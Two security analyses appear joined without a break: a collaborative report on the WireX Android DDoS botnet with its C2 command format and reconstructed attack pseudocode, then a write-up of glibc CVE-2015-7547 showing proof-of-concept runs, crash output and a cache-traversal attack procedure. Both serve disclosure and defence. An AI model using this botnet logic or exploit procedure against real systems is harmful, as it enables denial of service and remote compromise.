On August 17th, 2017, multiple Content Delivery Networks (CDNs) and content providers were subject to significant attacks from a botnet dubbed WireX. The botnet is named for an anagram for one of the delimiter strings in its command and control protocol. The WireX botnet comprises primarily Android devices running malicious applications and is designed to create DDoS traffic. The botnet is sometimes associated with ransom notes to targets.

A few days ago, Google was alerted that this malware was available on its Play Store. Shortly following the notification, Google removed hundreds of affected applications and started the process to remove the applications from all devices.

Researchers from Akamai, Cloudflare, Flashpoint, Google, Oracle Dyn, RiskIQ, Team Cymru, and other organizations cooperated to combat this botnet. Evidence indicates that the botnet may have been active as early as August 2nd, but it was the attacks on August 17th that drew the attention of these organizations. This post represents the combined knowledge and efforts of the researchers working to share information about a botnet in the best interest of the internet community as a whole. This blog post was written together by researchers from numerous organizations and released concurrently by Akamai, Cloudflare, Flashpoint, and RiskIQ.

The first available indicators of the WireX botnet appeared on August 2nd as minor attacks that went unnoticed at the time. It wasn’t discovered until researchers began searching for the 26 character User-Agent string in logs. These initial attacks were minimal and suggest that the malware was in development or in the early stages of deployment. More prolonged attacks have been identified starting on August 15th, with some events sourced from a minimum of 70,000 concurrent IP addresses, as shown in Figure 1.

WireX is a volumetric DDoS attack at the application layer. The traffic generated by the attack nodes is primarily HTTP GET requests, though some variants appears to be capable of issuing POST requests. In other words, the botnet produces traffic resembling valid requests from generic HTTP clients and web browsers.

Figure 1: Estimated growth of the botnet based on the count of unique IPs per hour observed participating in attacks.

During initial observation, the majority of the traffic from this botnet was distinguished by the use of an HTTP Request’s User-Agent string containing the lowercase English alphabet characters, in random order.

Some of the User-Agent values seen:

User-Agent: jigpuzbcomkenhvladtwysqfxr
User-Agent: yudjmikcvzoqwsbflghtxpanre
User-Agent: mckvhaflwzbderiysoguxnqtpj
User-Agent: deogjvtynmcxzwfsbahirukqpl
User-Agent: fdmjczoeyarnuqkbgtlivsxhwp
User-Agent: yczfxlrenuqtwmavhojpigkdsb
User-Agent: dnlseufokcgvmajqzpbtrwyxih

Variants of the malware have also been observed emitting User-Agent strings of varying length and expanded character sets, sometimes including common browser User-Agents. Here are some samples of other User-Agents observed:

User-Agent: xlw2ibhqg0i
User-Agent: bg5pdrxhka2sjr1g
User-Agent: 5z5z39iit9damit5czrxf655ok060d544ytvx25g19hcg18jpo8vk3q
User-Agent: fge26sd5e1vnyp3bdmc6ie0
User-Agent: m8al87qi9z5cqlwc8mb7ug85g47u
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.7) Gecko/20071018 BonEcho/2.0.0.7
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2

Analysis of the incoming attack data for the August 17th attack revealed that devices from more than 100 countries participated, an uncharacteristic trait for current botnets. The distribution of the attacking IPs along with the distinctive User-Agent string led the researchers who began the initial investigation to believe that other organizations may have seen or would be likely to experience similar attacks. The researchers reached out to peers in other organizations for verification of what they were seeing.

Once the larger collaborative effort began, the investigation began to unfold rapidly starting with the investigation of historic log information, which revealed a connection between the attacking IPs and something malicious, possibly running on top of the Android operating system.

In the wake of the Mirai attacks, information sharing groups have seen a resurgence, where researchers share situation reports and, when necessary, collaborate to solve Internet-wide problems. Further, WannaCry, Petya and other global events have only strengthened the value of this collaboration. Many information sharing groups, such as this one, are purely informal communications amongst peers across the industry.

Investigation of the logs from attacks on August 17th revealed previous attacks meeting the same signature implicated the first Android application, “twdlphqg_v1.3.5_apkpure.com.apk”. Researchers quickly grabbed examples of the application to understand how it works and determine if related applications might exist. Searches using variations of the application name and parameters in the application bundle revealed multiple additional applications from the same, or similarly named authors, with comparable descriptions, as shown in Figure 2. As new applications were located, others on the team began to dig into the binaries to learn how they worked.

Figure 2: A screenshot of one of the searches for similar malware.

There were few cases where these applications were found in well known and pre-configured app stores for mobile devices. Whenever possible, the abuse teams for these app stores, like Google, were contacted and worked expediently to remove the offending content. Google provided the following comment in response to this research:

We identified approximately 300 apps associated with the issue, blocked them from the Play Store, and we’re in the process of removing them from all affected devices. The researchers' findings, combined with our own analysis, have enabled us to better protect Android users, everywhere.

Many of the identified applications fell into the categories of media/video players, ringtones or tools such as storage managers and app stores with additional hidden features that were not readily apparent to the end users that were infected. At the launch of the applications, the nefarious components begin their work by starting the command and control polling service which queries the command and control server, most commonly g[.]axclick[.]store, for attack commands. When attack commands are received, the parsing service inspects the raw attack command, parses it and invokes the attacking service with the extracted parameters.

The applications that housed these attack functions, while malicious, appeared to be benign to the users who had installed them. These applications also took advantage of features of the Android service architecture allowing applications to use system resources, even while in the background, and are thus able to launch attacks when the application is not in use. Antivirus scanners currently recognize this malware as the “Android Clicker” trojan, but this campaign’s purpose has nothing to do with click fraud. It is likely that this malware used to be related to click fraud, but was repurposed for DDoS.

An in-depth overview of the internals of the rogue components of the applications can be found in Appendix 1.

These discoveries were only possible due to open collaboration between DDoS targets, DDoS mitigation companies, and intelligence firms. Every player had a different piece of the puzzle; without contributions from everyone, this botnet would have remained a mystery.

The best thing that organizations can do when under a DDoS attack is to share detailed metrics related to the attack. With this information, those of us who are empowered to dismantle these schemes can learn much more about them than would otherwise be possible.

These metrics include packet captures, lists of attacking IP addresses, ransom notes, request headers, and any patterns of interest. Such data should not contain any legitimate client traffic, to reduce privacy concerns and also because legitimate traffic can pollute and slow down analysis. And most importantly, give permission to share this data—not only to your vendors, but to their trusted contacts in the broader security community who may have expertise or visibility not available in your own circle of vendors.

There is no shame in asking for help. Not only is there no shame, but in most cases it is impossible to hide the fact that you are under a DDoS attack. A number of research efforts have the ability to detect the existence of DDoS attacks happening globally against third parties no matter how much those parties want to keep the issue quiet. There are few benefits to being secretive and numerous benefits to being forthcoming.

Sharing detailed attack metrics also allows for both formal and informal information sharing groups to communicate about and understand the attacks that are happening at a global scale, rather than simply what they see on their own platforms. This report is an example of how informal sharing can have a dramatically positive impact for the victims and the Internet as a whole. Cross-organizational cooperation is essential to combat threats to the Internet and, without it, criminal schemes can operate without examination.

We would like to acknowledge and thank the researchers at Akamai, Cloudflare, Flashpoint, Google, RiskIQ, Team Cymru, and other organizations not publicly listed. We would also like to thank the FBI for their assistance in this matter.

Authors & Researchers

• Tim April : Senior Security Architect @ Akamai

• Chris Baker : Principal of Threat Intelligence @ Oracle Dyn

• Matt Carothers

• Jaime Cochran : Security Analyst @ Cloudflare

• Marek Majkowski : Enthusiastic Geek @ Cloudflare

• Jared Mauch : Internetworking Research and Architecture @ Akamai

• Allison Nixon : Director of Security Research @ Flashpoint

• Justin Paine : Head Of Trust & Safety @ Cloudflare

• Chad Seaman : Sen. Security Intelligence Response Team Engineer @ Akamai SIRT

• Darren Spruell : Threat Researcher @ RiskIQ

• Zach Wikholm : Research Developer @ Flashpoint

• And others

Inspection of various decompiled applications revealed multiple sub-domains of a single root domain (axclick[.]store) that were suspected of being a part of the command and control (C2) infrastructure for the botnet.

$ grep http * -R
com/twdlphqg/app/ExplorationActivity.smali:    const-string v3, "http://u[.]axclick[.]store/"
com/twdlphqg/app/services/Ryiidrxcjmfb.smali:    const-string v1, "http://g[.]axclick[.]store/"

The first domain (u[.]axclick[.]store) did not return content; it simply returned an empty response with a 200 OK status code and appeared to be used for basic Internet connectivity testing.

The second domain (g[.]axclick[.]store) appeared to be linked to the DDoS components of the malware. The component of the application referencing this domain was responsible for creating an Android Service equipped with two WebView instances. The first WebView instance serves as the C2 beacon, polling the C2 server for attack directives. The second serves as a reference to clone WebView objects for attacking. This component also contains the basic logic for spinning up and configuring these attacking instances.

There are multiple other interesting components in play here, all with unique roles. The first component types discussed here serve as the basic, always-on, persistent execution mechanisms. Some applications utilized Service objects instantiated using the android/os/Handler->postDelayed functionality. This essentially causes the app to persist via a Service that polls the C2 server on a regular interval -- even while the application is backgrounded. Other variations of the application utilized AsyncTask objects in attempts to achieve the same goal.

The second component is a WebViewClient that serves as the C2 attack directive parser. It is responsible for detecting onPageFinished events from the C2 WebView instance being controlled by the polling service and parsing whatever command is returned. When an attack command is successfully parsed, this component is responsible for calling the function that ultimately launches the attack traffic.

Below we’ll cover the relevant pieces individually, using pseudo code based on knowledge gathered from the decompiled APK(s). We’ll then talk about what the pseudo code is doing in more detail as it relates to attack commands and techniques.

The ServiceRunner component’s role is a means of persistent background execution by injecting the Runnable object type into a timed OS Handler. Because of the nature of a Service in Android environments, the malware can continue to keep running once the app has been launched and placed in the background. Execution will only stop if application is actively terminated by the mobile device user or in the event of a device restart.

Service Runner Pseudo Code
Class ServiceRunner extends Object {
    Public function run() {
        DDoS_Service->poll_c2();
    }
}

The AttackCommandParser serves as the callback that is triggered when the C2 WebView detects that a page load has occurred. The parser loads the page’s content and extracts the <title> body as the attack command. Based on observed samples, a payload from the C2 looks like this:

<html>
  <title>
  https://A_TARGETED_WEBSITE/snewxwriA_USER_AGENT_STRINGsnewxwrihttps://A_REFER_HEADER_VALUE/
  </title>
</html>

Figure 3: Attack Directive Sample

The value extracted from the <title> tag is then tested via String->contains() to ensure it contains the value token delimiter snewxwri. If the delimiter is found, the content is trimmed of leading or trailing whitespace and then split() into an Array of pieces on the delimiter. The resulting tokens are then used as parameters to be passed to the DDoS_Service->attack() method.

Class AttackCommandParser extends WebViewClient {
    Public function onPageFinished(C2_WebView,C2_url) {
        String pageTitle = C2_WebView->getTitle();
        if (pageTitle->contains(“snewxwri”) == true) {
            pageTitle = pageTitle->trim();
            Array commandParts = pageTitle.split(“snewxwri”);
            String target = commandParts[0];
            String userAgent = commandParts[1];
            String referer = commandParts[2];
            DDoS_Service->attack(target, userAgent, referer);
        }
    }
}

The DDoS_Service component is what runs the show. It has 3 core functions. These responsibilities are to get the Service up and running, provide the poll_c2() method for loading the C2 WebView, and most importantly -- launching attacks. We’ll look at these responsibilities one at a time after presenting the pseudo code.

Class DDoS_Service extends Object {
    Public function onCreate() {
        Handler OS_Handler = new Handler();
        Object Runner = new ServiceRunner();
        OS_Handler->postDelayed(Runner,2);
    }
    Public function poll_c2() {
        WebViewClient C2_Parser = new AttackCommandParser();
        WebView C2_WebView = new WebView();
        WebViewSettings C2_WebView_Settings = C2_WebView->getSettings();
        C2_WebView_Settings->setCacheMode(LOAD_NO_CACHE);
        C2_WebView->clearCache(true);
        C2_WebView->clearHistory();
        C2_WebView->setWebViewClient(C2_Parser);
        C2_WebView->loadUrl(“http://g[.]axclick[.]store”);
    }
    Public function attack(String target, String userAgent, String referer) {
        HashMap WebViewHeaders = new HashMap();
        WebViewHeaders->put(“Referer”,referer);
        WebViewHeaders->put(“X-Requested-With”,””);
        WebView[] AttackerViews = new WebView[100];
        for (int i=0; i<AttackerViews.length; i++) {
            AttackerViews[i] = new WebView();
            AttackerViews[i]->clearHistory();
            AttackerViews[i]->clearFormData();
            AttackerViews[i]->clearCache(true);
            WebViewSettings AttackWebViewSettings = AttackerViews[i]->getSettings();
            AttackWebViewSettings->setJavaScriptEnabled(true);
            AttackWebViewSettings->setUserAgentString(userAgent);
            AttackWebViewSettings->setCacheMode(LOAD_NO_CACHE);
            this->deleteDatabase(“webview.db”);
            this->deleteDatabase(“webviewCache.db”);
            AttackerViews[i]->loadUrl(target,WebViewHeaders);
        }
    }
}

The onCreate() method is straightforward: it creates a new android/os/Handler and ServiceRunner instance. The ServiceRunner instance is then hooked into the Handler via a call to postDelayed(). According to Android documentation, this “Causes the Runnable r to be added to the message queue, to be run after the specified amount of time elapses.” The second parameter to this method call is the number of milliseconds before the Runnable is invoked. In this sample that value is 2, which is a very aggressive timing strategy.

The poll_c2() method is responsible for continually reloading the WebView with the C2 URL while also hooking the AttackCommandParser WebViewClient into the poller WebView instance. Before polling the C2 domains, the service will clear and disable the cache as well as clear the WebView instance history. These steps are performed to ensure that the client is always getting up-to-date information from the C2 and not being served cache hits from the local device. We’ll see this tactic reused during the analysis of the attack() method as well.

Public function attack(String target, String userAgent, String referer) {
    HashMap WebViewHeaders = new HashMap();
    WebViewHeaders->put(“Referer”,referer);
    WebViewHeaders->put(“X-Requested-With”,””);    
    WebView[] AttackerViews = new WebView[100];
    for (int i=0; i<AttackerViews.length; i++) {
        AttackerViews[i] = new WebView();
        AttackerViews[i]->clearHistory();
        AttackerViews[i]->clearFormData();
        AttackerViews[i]->clearCache(true);
        WebViewSettings AttackWebViewSettings = AttackerViews[i]->getSettings();
        AttackWebViewSettings->setJavaScriptEnabled(true);
        AttackWebViewSettings->setUserAgentString(userAgent);
        AttackWebViewSettings->setCacheMode(LOAD_NO_CACHE);
        this->deleteDatabase(“webview.db”);
        this->deleteDatabase(“webviewCache.db”);
        AttackerViews[i]->loadUrl(target,WebViewHeaders);
    }
} 

The attack() method is responsible for generating the actual attack traffic. The AttackCommandParser->onPageFinished() that was previously discussed will pass in the target, userAgent, and referer values that were handed out by the last C2 interaction. This method will create a HashMap object that will configure the HTTP Headers used during the attack.

The first header is the HTTP Referer, which as we know was supplied by the C2 server. In all observed cases, this value was a mirror value of the actual target. The second header is the X-Requested-With header; although the WebView would usually have a default value,it is overwritten with a blank value. Typically this header coming from an embedded WebView would contain information about the Android application such as com.[app_author].app. It’s likely that this Header was blanked specifically to obfuscate who or what was generating the attack traffic that would be seen by the target.

Once the headers are configured, an empty Array of WebView place holders is instantiated, followed by a loop to fill this Array with actual WebView instances. Each instance goes through the same set of configuration processes. The WebView instances created will have their history, saved form data, and cache cleared. The JavaScript capabilities are enabled (this is typically disabled by default for embedded WebViews), the User-Agent string that will be present in the HTTP Headers is overwritten with the value supplied by the C2 attack directive, and the CacheMode set to LOAD_NO_CACHE, which will force the browser instance to bypass local caches and fetch the target URL for each request.

In a final attempt to ensure that no cache hits will occur on the device and a that request will be sent to the target, the application also deletes its local webview.db and webviewCache.db files from the device before loading each request.

Finally we see the loadUrl() method is called on the newly configured WebView instance using the target URL and customized WebViewHeaders HashMap.

While many of the identified apps had already been removed from the Google Play store, mirrors remained online from which we could download the APK files. We loaded “twdlphqg” (one of the attacking apps) onto a freshly-reset physical Samsung Galaxy S4 that had been running Lollipop and security patches from 2015.

This app, along with the others we tested, used innocuous-sounding names like “Device Analysis”, “Data Storage” “Package Manager”, and so forth.

When the app is run, it appears to be a very basic ringtone app. Only three ringtones are provided. The app can play and set ringtones but has no other functionality.

In the background, this app spawns additional processes that continue to run even while the phone’s screen is locked. This allows the app to launch DDoS attacks from the phone in the background. When we left the phone on a charger and let it go to sleep, it continued to launch DDoS attacks.

Notably, it is no longer possible to install this application as Google’s PlayProtect feature now blocks this app from being installed. Google is also removing it from devices that already have it installed. All of the applications we tested that were part of this campaign produced this block message; disabling PlayProtect was necessary to run the malware.

We tested multiple applications from this campaign. There were different variations in behavior and user interface and they weren’t all ringtone apps. All tests were conducted on the same phone.

Xryufrix was the top hitter from the DDoS statistics, but when run, its performance was underwhelming. It’s possible there was a compatability issue preventing it from reaching its full DDoS potential. This app asked for fewer permissions upon initial install, but did ask for the same lock screen related device administrator permissions as twdlphqg. This one pretended to be a YouTube app. When it first opens, it queries the axclick domain for the DDoS attack commands as well as a GET request against p[.]axclick[.]store/?utm_source=tfikztteuic, which returns the Play Store URL of a different app located at market://details?id=com[.]luckybooster[.]app. When the user attempts to play a Youtube video, this app closes, deletes its icon from the app list, and makes itself impossible to execute afterwards, which is possibly the result of a crash. It also opens the Play store download link for the “Luckybooster” app, which did not DDoS when it was run. The xryufrix app does not launch DDoS attacks while the phone is asleep nor does it launch DDoS attacks at any time other than when the app is active.

A buffer overflow error in GNU libc DNS stub resolver code was announced last week as CVE-2015-7547. While it doesn't have any nickname yet (last year's Ghost was more catchy), it is potentially disastrous as it affects any platform with recent GNU libc—CPEs, load balancers, servers and personal computers alike. The big question is: how exploitable is it in the real world?

It turns out that the only mitigation that works is patching. Please patch your systems now, then come back and read this blog post to understand why attempting to mitigate this attack by limiting DNS response sizes does not work.

But first, patch!

Let's start with the PoC from Google, it uses the first attack vector described in the vulnerability announcement. First, a 2048-byte UDP response forces buffer allocation, then a failure response forces a retry, and finally the last two answers smash the stack.

$ echo "nameserver 127.0.0.1" | sudo tee /etc/resolv.conf
$ sudo python poc.py &
$ valgrind curl http://foo.bar.google.com
==17897== Invalid read of size 1
==17897==    at 0x59F9C55: __libc_res_nquery (res_query.c:264)
==17897==    by 0x59FA20F: __libc_res_nquerydomain (res_query.c:591)
==17897==    by 0x59FA7A8: __libc_res_nsearch (res_query.c:381)
==17897==    by 0x57EEAAA: _nss_dns_gethostbyname4_r (dns-host.c:315)
==17897==    by 0x4242424242424241: ???
==17897==  Address 0x4242424242424245 is not stack'd, malloc'd or (recently) free'd
Segmentation fault

This proof of concept requires attacker talking with glibc stub resolver code either directly or through a simple forwarder. This situation happens when your DNS traffic is intercepted or when you’re using an untrusted network.

One of the suggested mitigations in the announcement was to limit UDP response size to 2048 bytes, 1024 in case of TCP. Limiting UDP is, with all due respect, completely ineffective and only forces legitimate queries to retry over TCP. Limiting TCP answers is a plain protocol violation that cripples legitimate answers:

$ dig @b.gtld-servers.net +tcp +dnssec NS root-servers.net | grep "MSG SIZE"
;; MSG SIZE  rcvd: 1254

Regardless, let's see if response size clipping is effective at all. When calculating size limits, we have to take IP4 headers into account (20 octets), and also the UDP header overhead (8 octets), leading to a maximum allowed datagram size of 2076 octets. DNS/TCP may arrive fragmented—for the sake of argument, let's drop DNS/TCP altogether.

$ sudo iptables -I INPUT -p udp --sport 53 -m length --length 2077:65535 -j DROP
$ sudo iptables -I INPUT -p tcp --sport 53 -j DROP
$ valgrind curl http://foo.bar.google.com
curl: (6) Could not resolve host: foo.bar.google.com

Looks like we've mitigated the first attack method, albeit with collateral damage. But what about the UDP-only proof of concept?

$ echo "nameserver 127.0.0.10" | sudo tee /etc/resolv.conf
$ sudo python poc-udponly.py &
$ valgrind curl http://foo.bar.google.com
==18293== Syscall param socketcall.recvfrom(buf) points to unaddressable byte(s)
==18293==    at 0x4F1E8C3: __recvfrom_nocancel (syscall-template.S:81)
==18293==    by 0x59FBFD0: send_dg (res_send.c:1259)
==18293==    by 0x59FBFD0: __libc_res_nsend (res_send.c:557)
==18293==    by 0x59F9C0B: __libc_res_nquery (res_query.c:227)
==18293==    by 0x59FA20F: __libc_res_nquerydomain (res_query.c:591)
==18293==    by 0x59FA7A8: __libc_res_nsearch (res_query.c:381)
==18293==    by 0x57EEAAA: _nss_dns_gethostbyname4_r (dns-host.c:315)
==18293==    by 0x4F08AA0: gaih_inet (getaddrinfo.c:862)
==18293==    by 0x4F0AC4C: getaddrinfo (getaddrinfo.c:2418)
==18293==  Address 0xfff001000 is not stack'd, malloc'd or (recently) free'd
*** Error in `curl': double free or corruption (out): 0x00007fe7331b2e00 ***
Aborted

While it's not possible to ship a whole attack payload in 2048 UDP response size, it still leads to memory corruption. When the announcement suggested blocking DNS UDP responses larger than 2048 bytes as a viable mitigation, it confused a lot of people, including other DNS vendors and ourselves. This, and the following proof of concept show that it's not only futile, but harmful in long term if these rules are left enabled.

So far, the presented attacks required a MitM scenario, where the attacker talks to a glibc resolver directly. A "good enough" mitigation is to run a local caching resolver, to isolate glibc code from the attacker. In fact, doing so not only improves the Internet performance with a local cache, but also prevents past and possibly future security vulnerabilities.

Unfortunately, no. A local stub resolver such as dnsmasq alone is not sufficient to defuse this attack. It's easy to traverse, as it doesn't scrub upstream answers—let's see if the attack goes through with a modified proof of concept that uses only well-formed answers and zero time-to-live (TTL) for cache traversal.

$ echo "nameserver 127.0.0.1" | sudo tee /etc/resolv.conf
$ sudo dnsmasq -d -a 127.0.0.1 -R -S 127.0.0.10 -z &
$ sudo python poc-dnsmasq.py &
$ valgrind curl http://foo.bar.google.com
==20866== Invalid read of size 1
==20866==    at 0x8617C55: __libc_res_nquery (res_query.c:264)
==20866==    by 0x861820F: __libc_res_nquerydomain (res_query.c:591)
==20866==    by 0x86187A8: __libc_res_nsearch (res_query.c:381)
==20866==    by 0xA0C6AAA: _nss_dns_gethostbyname4_r (dns-host.c:315)
==20866==    by 0x1C000CC04D4D4D4C: ???
Killed

The big question is—now that we've seen that the mitigation strategies for MitM attacks are provably ineffective, can we exploit the flaw off-path through a caching DNS resolver?

Let's start with the first phase of the attack—a compliant resolver is never going to give out a response larger than 512 bytes over UDP to a client that doesn't support EDNS0. Since the glibc resolver doesn't do that by default, we have to escalate to TCP and perform the whole attack there. Also, the client should have at least two nameservers, otherwise it complicates a successful attack.

$ echo "nameserver 127.0.0.1" | sudo tee /etc/resolv.conf
$ echo "nameserver 127.0.0.1" | sudo tee -a /etc/resolv.conf
$ sudo iptables -F INPUT
$ sudo iptables -I INPUT -p udp --sport 53 -m length --length 2077:65535 -j DROP

Let's try it with a proof of concept that merges both the DNS proxy and the attacker.

1. The DNS proxy on localhost is going to ask the attacker both queries over UDP, and the attacker responds with a TC flag to force client to retry over TCP.

2. The attacker responds once with a TCP response of 2049 bytes or longer, then forces the proxy to close the TCP connection to glibc resolver code. This is a critical step with no reliable way to achieve that.

3. The attacker sends back a full attack payload, which the proxy happily forwards to the glibc resolver client.

$ sudo python poc-tcponly.py &
$ valgrind curl http://foo.bar.google.com
==18497== Invalid read of size 1
==18497==    at 0x59F9C55: __libc_res_nquery (res_query.c:264)
==18497==    by 0x59FA20F: __libc_res_nquerydomain (res_query.c:591)
==18497==    by 0x59FA7A8: __libc_res_nsearch (res_query.c:381)
==18497==    by 0x57EEAAA: _nss_dns_gethostbyname4_r (dns-host.c:315)
==18497==    by 0x1C000CC04D4D4D4C: ???
==18497==  Address 0x1000000000000103 is not stack'd, malloc'd or (recently) free'd
Killed

The key factor to a real world non-MitM cache resolver attack is to control the messages between the resolver and the client indirectly. We came to the conclusion that djbdns’ dnscache was the best target for attempting to illustrate an actual cache traversal.

In order to fend off DoS attack vectors like slowloris, which makes numerous simultaneous TCP connections and holds them open to clog up a service, DNS resolvers have a finite pool of parallel TCP connections. This is usually achieved by limiting these parallel TCP connections and closing the oldest or least-recently active one. For example—djbdns (dnscache) holds up to 20 parallel TCP connections, then starts dropping them, starting from the oldest one. Knowing this, we realised that we were able to terminate TCP connections with ease. Thus, one security fix becomes another bug’s treasure.

In order to exploit this, the attacker can send a truncated UDP A+AAAA query, which triggers the necessary retry over TCP. The attacker responds with a valid answer with a TTL of 0 and dnscache sends the glibc client a truncated UDP response. At this point, the glibc function send_vc() retries with dnscache over TCP and since the previous answer's TTL was 0, dnscache asks the attacker’s server for the A+AAAA query again. The attacker responds to the A query with an answer larger than 2000 to induce glibc's buffer mismanagement, and dnscache then forwards it to the client. Now the attacker can either wait out the AAAA query while other clients are making perfectly legitimate requests or instead make 20 TCP connections back to dnscache, until dnscache terminates the attacker's connection.

Now that we’ve met all the conditions to trigger another retry, the attacker sends back any valid A response and a valid, oversized AAAA that carries the payload (either in CNAME or AAAA RDATA), dnscache tosses this back to the client, triggering the overflow.

It seems like a complicated process, but it really is not. Let’s have a look at our proof-of-concept:

$ echo "nameserver 127.0.0.1" | sudo tee /etc/resolv.conf
$ echo "nameserver 127.0.0.1" | sudo tee -a /etc/resolv.conf
$ sudo python poc-dnscache.py
[TCP] Sending back first big answer with TTL=0
[TCP] Sending back second big answer with TTL=0
[TCP] Preparing the attack with an answer >2k
[TCP] Connecting back to caller to force it close original connection('127.0.0.1', 53)
[TCP] Original connection was terminated, expecting to see requery...
[TCP] Sending back a valid answer in A
[TCP] Sending back attack payload in AAAA

Client:

$ valgrind curl https://www.cloudflare.com/
==6025== Process terminating with default action of signal 11 (SIGSEGV)
==6025==  General Protection Fault
==6025==    at 0x8617C55: __libc_res_nquery (res_query.c:264)
==6025==    by 0x861820F: __libc_res_nquerydomain (res_query.c:591)
==6025==    by 0x86187A8: __libc_res_nsearch (res_query.c:381)
==6025==    by 0xA0C6AAA: _nss_dns_gethostbyname4_r (dns-host.c:315)
==6025==    by 0x1C000CC04D4D4D4C: ???
Killed

This PoC was made to simply illustrate that it’s not only probable, but possible that a remote code execution via DNS resolver cache traversal can and may be happening. So, patch. Now.

We reached out to OpenDNS, knowing they had used djbdns as part of their codebase. They investigated and verified this particular attack does not affect their resolvers.

Dan Kaminsky wrote a thoughtful blog post about scoping this issue. He argues:

I’m just going to state outright: Nobody has gotten this glibc flaw to workthrough caches yet. So we just don’t know if that’s possible. Actualexploit chains are subject to what I call the MacGyver effect.

Current resolvers scrub and sanitize final answers, so the attack payload must be encoded in a well-formed DNS answer to survive a pass through the resolver. In addition, only some record types are safely left intact—as the attack payload is carried in AAAA query, only AAAA records in the answer section are safe from being scrubbed, thus forcing the attacker to encode the payload in these. One way to circumvent this limitation is to use a CNAME record, where the attack payload may be encoded in a CNAME target (maximum of 255 octets).

The only good mitigation is to run a DNS resolver on localhost where the attacker can't introduce resource exhaustion, or at least enforce minimum cache TTL to defuse the waiting game attack.

You might think it's unlikely that you could become a MitM target, but the fact is that you already are. If you ever used a public Wi-Fi in an airport, hotel or maybe in a café, you may have noticed being redirected to a captcha portal for authentication purposes. This is a temporary DNS hijacking redirecting you to an internal portal until you agree with the terms and conditions. What's even worse is a permanent DNS interception that you don't notice until you look at the actual answers. This happens on a daily basis and takes only a single name lookup to trigger the flaw.

Neither DNSSEC nor independent public resolvers prevent it, as the attack happens between stub and the recursor on the last mile. The recent flaws highlight the fragility of not only legacy glibc code, but also stubs in general. DNS is deceptively complicated protocol and should be treated carefully. A generally good mitigation is to shield yourself with a local caching DNS resolver¹, or at least a DNSCrypt tunnel. Arguably, there might be a vulnerability in the resolver as well, but it is contained to the daemon itself—not to everything using the C library (e.g., sudo).

If you're running GNU libc between 2.9 and 2.22 then yes. Below is an informative list of several major platforms affected.

Platform

Notice

Status

Debian

CVE-2015-7547

Patched packages available (squeeze and newer)

Ubuntu

USN-2900-1

Patched packages available (14.04 and newer)

RHEL

KB2161461

Patched packages available (RHEL 6-7)

SUSE

SUSE-SU-2016:0472-1

Patched packages available (latest)

Network devices & CPEs

Updated list of affected platforms

The toughest problem with this issue is the long tail of custom CPEs and IoT devices, which can't be really enumerated. Consult the manufacturer's website for vulnerability disclosure. Keep in mind that if your CPE is affected by remote code execution, its network cannot be treated as safe anymore.

If you're running OS X, iOS, Android or any BSD flavour², you're not affected.

• [1] Take a look at Unbound, PowerDNS Recursor or Knot DNS Resolver for a compliant validating resolver.

• [2] Applications running under Linux emulation and using glibc may be affected, make sure to update ports.